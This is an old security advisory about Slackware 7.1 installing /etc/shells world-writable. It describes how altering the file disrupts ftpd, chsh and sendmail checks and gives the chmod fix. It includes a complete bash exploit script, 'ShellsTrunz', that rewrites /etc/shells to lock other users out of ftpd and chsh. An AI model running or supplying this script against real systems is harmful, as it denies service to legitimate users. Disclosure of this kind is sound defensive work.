COMMAND

    /etc/shells

SYSTEMS AFFECTED

    Linux Slackware 7.1 default installation

PROBLEM

    Following is based  on a Security  Advisory #5 by  tHE rECIdjVO of
    Packet Knights.  /etc/shells installed with world-writable  perms.
    Non-privileged users  can create  DoS to  other users  or increase
    their access.

    There  is  an  error  during  the  default  installation  of Linux
    Slackware 7.1  (tested only  for i386  version).   When installing
    files  in   /etc,  /etc/shells   has  world-writable    attributes
    (-rw-rw-rw-),  allowing   a  non   privileged  user   with   login
    capabilities to misconfigurate the entire system.

    This can seem a little bug, but impacts can be very dangerous  for
    the system  integrity.   The main  problem is  that changing  data
    contained in /etc/shells modifies the behaviour of the glibc  call
    getusershell(3), that is often used by programs to authenticate  a
    valid account comparing the shell field in /etc/passwd with shells
    listed in /etc/shells.  This can cause a denial of service against
    other  users  or  gaining   higher  privileges  if  attacker   has
    restrictions due to his login shell.

        [recidjvo@pkcrew:~]$ ls -l /etc/shells | cut -f1 -d' '
        -rw-rw-rw-

    In  the  following  examples  recidjvo   has  a  valid  shell   in
    /etc/shells, cyrax doesn't.

    1. ftpd
    =======
    One of the conditions that must be satisfied to successfully login
    in ftp mode is  that the user must  have a valid shell  (anonymous
    ftp doesn't do this check).   This would mean that we can  prevent
    any user (except user ftp) to  log into the ftp server (or  let us
    in if we couldn't).

        [recidjvo@pkcrew:~]$ ftp localhost
        Connected to localhost.
        220 FTP server (slackware.pkcrew.org) ready.
        Name (localhost:recidjvo): cyrax
        331 Password required for cyrax.
        Password:
        530 Login incorrect.
        Login failed.
        [recidjvo@pkcrew:~]$
        
        (in syslogd output)
        pkcrew ftpd[158]: connect from 127.0.0.1
        pkcrew ftpd[158]: FTP LOGIN REFUSED (shell not in /etc/shells)
		          FROM localhost [127.0.0.1], cyrax

    2. chsh
    =======
    chsh(1) is  an utility  to change  users default  login shell.  If
    you're root, you can do anything you want, as usual; but if you're
    a  simple  user,  you  can  only  change  your login shell by chsh
    only  if  your  shell  in  the  /etc/passwd  matches  a  shell  in
    /etc/shells.

        [cyrax@pkcrew:~]$ chsh
        You may not change the shell for cyrax.
        [cyrax@pkcrew:~]$
        
        (in syslogd output)
        pkcrew chsh[174]: can't change shell for `cyrax'

    3. sendmail
    ===========
    This  is  not  always  a  complete  denial of services, but we can
    deny the  executions of  user-defined commands  in the  ~/.forward
    files, and  read informations  about user  mail attitudes.   If  a
    user  has  a  program  in  his  .forward, he will receive mails no
    more.  Sendmail checks if  the destination user has a  valid login
    shell  in  /etc/shells  before  allowing  execution of commands in
    .forward, as shown below.

        [recidjvo@pkcrew:~]$ mail cyrax@pkcrew.org -s '/etc/shells bug'
        Have fun :)
        t.R.
        .
        Cc:
        /home/cyrax/.forward: line 1: | mailparser... User cyrax@pkcrew.org
        doesn't have a valid shell for mailing to programs
        /home/recidjvo/dead.letter... Saved message in
        /home/recidjvo/dead.letter
        [recidjvo@pkcrew:~]$

    4. Others
    =========
    It was  found that  other programs  that can  be altered  changing
    /etc/shells (e.g.: rpc.yppasswdd, gdmlogin, su -from source tree-)
    Check  out  any   program  that  uses   getusershell(3)  call   to
    authenticate actions.

    Script:

    #! /bin/bash
    ######################################################################
    #                                                                    #
    #   ShellsTrunz - /etc/shells ftpd and chsh denial of services       #
    #                                                                    #
    #                 by tHE rECIdjVO - recidjvo@pkcrew.org              #
    #                 Member of the Packet Knights                       #
    #                 http://www.pkcrew.org/                             #
    #                                                                    #
    ######################################################################
    
    SHELLS_FILE=/etc/shells
    PASSWD_FILE=/etc/passwd
    NEW_SHELL=/tmp/bash
    SHELLS_BACKUP=/tmp/.shells.bak
    
    echo -e "ShellsTrunz - /etc/shells ftpd and chsh local denial of services"
    echo -e "by tHE rECIdjVO - recidjvo@pkcrew.org\n"
    
    echo -ne "-/\- Checking if $SHELLS_FILE is writable... "
    if [ ! -w $SHELLS_FILE ]; then
	    echo -e "no.\n-/\- ERROR: $SHELLS_FILE is not writable :("
	    echo -e "-/\- Exiting."
	    exit
    fi;
    
    CP=`which cp`
    CHSH=`which chsh`
    USERNAME=`whoami`
    OLD_SHELL=`grep $USERNAME $PASSWD_FILE | cut -d: -f7`
    
    echo -e "yes.\n-/\- Set USERNAME to $USERNAME"
    echo -e "-/\- Set OLD_SHELL to $OLD_SHELL\n"
    
    echo -ne "-/\- Creating backup in $SHELLS_BACKUP... "
    $CP -p $SHELLS_FILE $SHELLS_BACKUP
    echo -ne "done.\n-/\- Coping $OLD_SHELL in $NEW_SHELL... "
    $CP -p $OLD_SHELL $NEW_SHELL
    echo -ne "done.\n-/\- Adding new shell in $SHELLS_FILE... "
    echo -e "$NEW_SHELL" >> $SHELLS_FILE
    echo -e "done.\n-/\- Changing your default shell to let you use ftpd and chsh. "
    $CHSH $USERNAME -s $NEW_SHELL
    echo -ne "-/\- Remove other shells from $SHELLS_FILE... "
    echo -e "$NEW_SHELL" > $SHELLS_FILE
    echo -e "done.\n"
    
    echo -e "Now only you, root and God can use ftpd and chsh :)"
    exit

SOLUTION

    If you're root,  chmod 644 /etc/shells  will resolve the  problem.
    If you're a simple  user and you're not  in love with root,  check
    your shell to be always in /etc/shells.

    This bug seems to be fixed in the slackware-current branch.   This
    was in fact the very first fix that went in to  Slackware-current,
    almost 1 year ago.